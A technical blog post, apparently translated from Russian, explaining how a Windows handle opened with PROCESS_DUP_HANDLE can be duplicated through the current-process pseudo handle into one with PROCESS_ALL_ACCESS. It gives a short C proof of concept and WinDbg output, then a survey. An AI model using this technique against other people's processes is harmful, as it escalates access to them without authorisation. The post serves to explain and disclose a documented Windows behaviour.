How PROCESS_DUP_HANDLE turns into PROCESS_ALL_ACCESS
There is an interesting remark in the MSDN's Process Security and Access Rights article :
... if process A has a handle to process B with PROCESS_DUP_HANDLE access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B.
If you freely translate this into Russian, it says here that having a descriptor for a process with the PROCESS_DUP_HANDLE access right, we can, using the DuplicateHandle (...) function , get a descriptor with the maximum allowed access masks for this process.
Demonstration
The source code exploiting this feature is quite simple:
#include
int wmain(int argc, PWSTR argv[])
{
HANDLE ProcessAllAccessHandle;
HANDLE ProcessDuplicateHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, _wtoi(argv[1]));
if (ProcessDuplicateHandle)
{
if (DuplicateHandle(ProcessDuplicateHandle,
GetCurrentProcess(),
GetCurrentProcess(),
&ProcessAllAccessHandle,
0,
FALSE,
DUPLICATE_SAME_ACCESS))
{
CloseHandle(ProcessAllAccessHandle);
}
CloseHandle(ProcessDuplicateHandle);
}
return 0;
}
As a result of compilation and linking, we get a test utility that takes the identifier of the target process (PID) as an argument. Then the utility opens the specified process with the PROCESS_DUP_HANDLE right . Thus, we simulate the necessary condition for the availability of a descriptor for a process with the right PROCESS_DUP_HANDLE (== 0x40).
As a demonstration, I will trace the assembled utility in WinDbg:
0:000> lsa @$ip 0,3
> 13: if (ProcessDuplicateHandle)
14: {
15: if (DuplicateHandle(ProcessDuplicateHandle,
0:000> !handle @@C++(ProcessDuplicateHandle) 3
Handle 80
Type Process
Attributes 0
GrantedAccess 0x40:
None
DupHandle
HandleCount 9
PointerCount 260518
And then flick of the wristBy calling DuplicateHandle (...) we get the second descriptor for the same process, but with the widest permissions:
0:000> lsa @$ip 0,3
> 23: CloseHandle(ProcessAllAccessHandle);
24: }
25: CloseHandle(ProcessDuplicateHandle);
0:000> !handle @@C++(ProcessAllAccessHandle) 3
Handle 84
Type Process
Attributes 0
GrantedAccess 0x1fffff:
Delete,ReadControl,WriteDac,WriteOwner,Synch
Terminate,CreateThread,,VMOp,VMRead,VMWrite,DupHandle,CreateProcess,SetQuota,SetInfo,QueryInfo,SetPort
HandleCount 10
PointerCount 292877
The key point is the GrantedAccess value, which for the new descriptor is 0x1fffff, which corresponds to PROCESS_ALL_ACCESS . Unfortunately, WinDbg does not display the PID of the target process. But to make sure that the descriptor is received for the desired process, you can look at the descriptors by Process Explorer (preliminarily specifying the PID specified in the command line arguments in the debugger):
0:000> dx argv[1]
argv[1] : 0x1b7c2e2412c : "21652" [Type: wchar_t *]
In the screenshot, the utility opens the descriptors for running notepad.exe.
Why it happens?
Firstly, because when duplicating a descriptor, if the access mask for the object is not expanded (and the operation flag DUPLICATE_SAME_ACCESS is specially specified ), there is no verification that the process (in which the duplicated descriptor will be created) has access to this object. It is only verified that the process descriptors passed to the DuplicateHandle (...) function have the allowed access mask PROCESS_DUP_HANDLE . And then copying the descriptor between the processes occurs without checking the access rights (I repeat: if the new descriptor has a mask of allowed rights not wider than the original duplicated descriptor).
And then it should be noted that the call to GetCurrentProcess () returns a constant, that same pseudo-descriptor (pseudo handle) mentioned at the very beginning of this publication. There are two documented pseudo-descriptors with constant values that are physically missing from the process descriptor table. But these descriptors are processed by all kernel functions (along with the usual descriptors from the process descriptor table):
Macro | Value | Description |
---|---|---|
ZwCurrentProcess / NtCurrentProcess | (HANDLE) -1 | Process Descriptor |
ZwCurrentThread / NtCurrentThread | (HANDLE) -2 | Thread Descriptor |
It is the value of NtCurrentProcess (== -1) that returns the GetCurrentProcess () call .
This pseudo-descriptor in the framework of a specific process means an object of this process with the rights PROCESS_ALL_ACCESS (in fact, there are nuances, but the article is not about them). It turns out such a link to himself, but through the descriptor:
That is, our call to DuplicateHandle (ProcessDuplicateHandle, GetCurrentProcess (), ...) will be interpreted as follows: from the open (target) process, duplicate the handle with the value -1. And for the target process (the one to which we have the descriptor stored in the variable ProcessDuplicateHandle), the value -1 will refer to this same target process with the PROCESS_ALL_ACCESS rights . Therefore, as a result, we get a descriptor for the target process with maximum rights.
Instead of an epilogue
I repeat the thought written at the very beginning: if someone receives a descriptor for the process with the PROCESS_DUP_HANDLE right , then under the Windows security model he will be able to get another descriptor for the same process, but with the PROCESS_ALL_ACCESS rights (and do whatever he pleases with the process )
Thanks to everyone who read the publication to the end. I invite everyone to take the survey to find out how such publications can be interesting / useful to the audience.
Only registered users can participate in the survey. Please come in.
Before reading this publication:
- 54.5% Did not read [MS] MSDN's “Process Security and Access Rights” article 18
- 30.3% I didn’t see the comment about PROCESS_DUP_HANDLE 10 in the MSDN'ovk article
- 0% Knew [a] about the PROCESS_DUP_HANDLE feature, without technical details 0
- 15.1% Knew [a] about everything written in this publication 5